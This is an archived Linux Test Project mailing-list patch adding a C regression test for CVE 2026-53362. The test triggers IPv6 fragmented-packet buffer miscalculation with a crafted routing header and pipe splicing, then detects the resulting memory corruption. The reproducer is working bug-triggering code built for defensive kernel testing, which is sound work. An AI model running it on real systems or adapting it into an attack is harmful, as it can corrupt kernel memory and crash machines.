All of lore.kernel.org
 help / color / mirror / Atom feed
* [LTP] [PATCH] Add test for CVE 2026-53362
@ 2026-07-21 15:39 Martin Doucha
  2026-07-21 19:28 ` [LTP] " linuxtestproject.agent
  2026-07-23 12:24 ` [LTP] [PATCH] " Andrea Cervesato via ltp
  0 siblings, 2 replies; 6+ messages in thread
From: Martin Doucha @ 2026-07-21 15:39 UTC (permalink / raw)
  To: ltp

Add test for memory corruption due to miscalculation of socket buffer
size for fragmented packets with gaps.

Signed-off-by: Martin Doucha <mdoucha@suse.cz>
---

Bug reproducibility verified on affected kernels v6.4 and v6.12.

 runtest/cve                                   |   1 +
 runtest/syscalls                              |   1 +
 .../kernel/syscalls/setsockopt/.gitignore     |   1 +
 .../kernel/syscalls/setsockopt/setsockopt11.c | 171 ++++++++++++++++++
 4 files changed, 174 insertions(+)
 create mode 100644 testcases/kernel/syscalls/setsockopt/setsockopt11.c

diff --git a/runtest/cve b/runtest/cve
index 3bbcfd6a2..99d84270b 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -88,6 +88,7 @@ cve-2023-1829 tcindex01
 cve-2023-0461 setsockopt10
 cve-2023-31248 nft02
 cve-2023-52879 fanotify25
+cve-2026-53362 setsockopt11
 # Tests below may cause kernel memory leak
 cve-2020-25704 perf_event_open03
 cve-2022-0185 fsconfig03
diff --git a/runtest/syscalls b/runtest/syscalls
index c84c32a6f..949ad7622 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1524,6 +1524,7 @@ setsockopt07 setsockopt07
 setsockopt08 setsockopt08
 setsockopt09 setsockopt09
 setsockopt10 setsockopt10
+setsockopt11 setsockopt11
 
 settimeofday01 settimeofday01
 settimeofday02 settimeofday02
diff --git a/testcases/kernel/syscalls/setsockopt/.gitignore b/testcases/kernel/syscalls/setsockopt/.gitignore
index 5c05290a5..58cc82d9c 100644
--- a/testcases/kernel/syscalls/setsockopt/.gitignore
+++ b/testcases/kernel/syscalls/setsockopt/.gitignore
@@ -8,3 +8,4 @@
 /setsockopt08
 /setsockopt09
 /setsockopt10
+/setsockopt11
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt11.c b/testcases/kernel/syscalls/setsockopt/setsockopt11.c
new file mode 100644
index 000000000..5f09291b3
--- /dev/null
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt11.c
@@ -0,0 +1,171 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC
+ * Original reproducer by Massimiliano Oldani
+ * Simplified LTP port: Martin Doucha <mdoucha@suse.com>
+ */
+
+/*
+ * CVE 2026-53362
+ *
+ * Test for vulnerability in socket buffer size calculation for fragmented
+ * UDP packets with gaps. Reproducer based on:
+ * https://github.com/sgkdev/ipv6_frag_escape
+ *
+ * Memory corruption fixed in kernel v7.2:
+ * 736b380e28d0 ("ipv6: account for fraggap on the paged allocation path")
+ */
+
+#define _GNU_SOURCE
+#include <netinet/in.h>
+#include <netinet/udp.h>
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "lapi/splice.h"
+
+#define PIPE_COUNT 2
+#define PIPE_BUF_SIZE (1 << 20)
+
+#define BUFSIZE 4096
+#define PATTERN_SIZE 256
+#define PATTERN_CHAR 0x42
+
+#define TEST_HDRSIZE 640
+#define TEST_MTU 1280
+#define TEST_PORT 12345
+#define TEST_MSGSIZE (1232 - TEST_HDRSIZE)
+
+static int pipefds[PIPE_COUNT][2];
+static int sockfd = -1;
+static unsigned char buf[BUFSIZE];
+static struct sockaddr_in6 addr;
+
+static void setup(void)
+{
+	int i;
+
+	for (i = 0; i < PIPE_COUNT; i++)
+		pipefds[i][0] = pipefds[i][1] = -1;
+
+	tst_init_sockaddr_inet6_bin(&addr, &in6addr_loopback, TEST_PORT);
+}
+
+static int leak_pipe(void)
+{
+	int i, padding, segcount = (TEST_HDRSIZE - 8) / 16;
+
+	/* Create input pipe and fill it with test data */
+	memset(buf, PATTERN_CHAR, PATTERN_SIZE);
+
+	for (i = 0; i < PIPE_COUNT; i++) {
+		SAFE_PIPE(pipefds[i]);
+		SAFE_FCNTL(pipefds[i][1], F_SETPIPE_SZ, PIPE_BUF_SIZE);
+	}
+
+	SAFE_WRITE(SAFE_WRITE_ALL, pipefds[0][1], buf, PATTERN_SIZE);
+
+	/* Create socket and set packet header with frag gap */
+	sockfd = SAFE_SOCKET(AF_INET6, SOCK_DGRAM, 0);
+	padding = TEST_HDRSIZE - 8 - 16 * segcount;
+	memset(buf, 0, TEST_HDRSIZE);
+	buf[1] = (TEST_HDRSIZE - 8) / 8;
+	buf[2] = 4;
+	buf[3] = (unsigned char)(segcount - 1);
+	buf[4] = buf[3];
+
+	for (i = 0; i < segcount; i++) {
+		memcpy(buf + 8 + 16 * i, &in6addr_loopback,
+			sizeof(in6addr_loopback));
+	}
+
+	if (padding)
+		buf[9 + 16 * segcount] = (unsigned char)(padding - 2);
+
+	TEST(setsockopt(sockfd, IPPROTO_IPV6, IPV6_RTHDR, buf, TEST_HDRSIZE));
+
+	if (TST_RET == -1 && TST_ERR == EINVAL)
+		tst_brk(TCONF, "IPV6_RTHDR type 4 is not supported");
+	else if (TST_RET)
+		tst_brk(TBROK | TTERRNO, "setsockopt(IPV6_RTHDR) failed");
+
+	SAFE_SETSOCKOPT_INT(sockfd, IPPROTO_IPV6, IPV6_MTU, TEST_MTU);
+	SAFE_CONNECT(sockfd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_SETSOCKOPT_INT(sockfd, IPPROTO_UDP, UDP_CORK, 1);
+
+	/* Splice input pipe buffer page into socket */
+	memset(buf, 0, TEST_MSGSIZE);
+	buf[TEST_MSGSIZE - 6] = 1;
+	SAFE_WRITE(SAFE_WRITE_ALL, pipefds[1][1], buf, TEST_MSGSIZE);
+	splice(pipefds[1][0], NULL, sockfd, NULL, TEST_MSGSIZE, SPLICE_F_MORE);
+	tee(pipefds[0][0], pipefds[1][1], PATTERN_SIZE, 0);
+	splice(pipefds[1][0], NULL, sockfd, NULL, PATTERN_SIZE, SPLICE_F_MORE);
+	SAFE_CLOSE(sockfd);
+
+	/* Check whether pipe buffer got reused while still allocated */
+	tst_pollute_memory(0, ~(unsigned char)PATTERN_CHAR);
+	SAFE_READ(SAFE_READ_ALL, pipefds[0][0], buf, PATTERN_SIZE);
+
+	for (i = 0; i < PIPE_COUNT; i++) {
+		SAFE_CLOSE(pipefds[i][0]);
+		SAFE_CLOSE(pipefds[i][1]);
+	}
+
+	for (i = 0; i < PATTERN_SIZE; i++) {
+		if (buf[i] != PATTERN_CHAR)
+			return 1;
+	}
+
+	return 0;
+}
+
+static void run(void)
+{
+	int i, leaked = 0;
+
+	for (i = 0; i < 64; i++) {
+		if (tst_remaining_runtime() <= 0)
+			break;
+
+		leaked = leak_pipe();
+
+		if (leaked)
+			break;
+	}
+
+	if (leaked) {
+		tst_res(TFAIL, "Pipe buffer was corrupted");
+		return;
+	}
+
+	tst_res(TPASS, "Nothing bad happened (yet)");
+}
+
+static void cleanup(void)
+{
+	int i;
+
+	for (i = 0; i < PIPE_COUNT; i++) {
+		if (pipefds[i][0] >= 0) {
+			SAFE_CLOSE(pipefds[i][0]);
+			SAFE_CLOSE(pipefds[i][1]);
+		}
+	}
+
+	if (sockfd >= 0)
+		SAFE_CLOSE(sockfd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.runtime = 300,
+	.min_runtime = 30,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "736b380e28d0480c7bc3e022f1950f31fe53a7c5"},
+		{"CVE", "2026-53362"},
+		{}
+	},
+};
-- 
2.54.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-07-28  7:17 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-21 15:39 [LTP] [PATCH] Add test for CVE 2026-53362 Martin Doucha
2026-07-21 19:28 ` [LTP] " linuxtestproject.agent
2026-07-22  7:36   ` Andrea Cervesato via ltp
2026-07-22 14:51     ` Martin Doucha
2026-07-23 12:24 ` [LTP] [PATCH] " Andrea Cervesato via ltp
2026-07-28  7:17   ` Andrea Cervesato via ltp

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.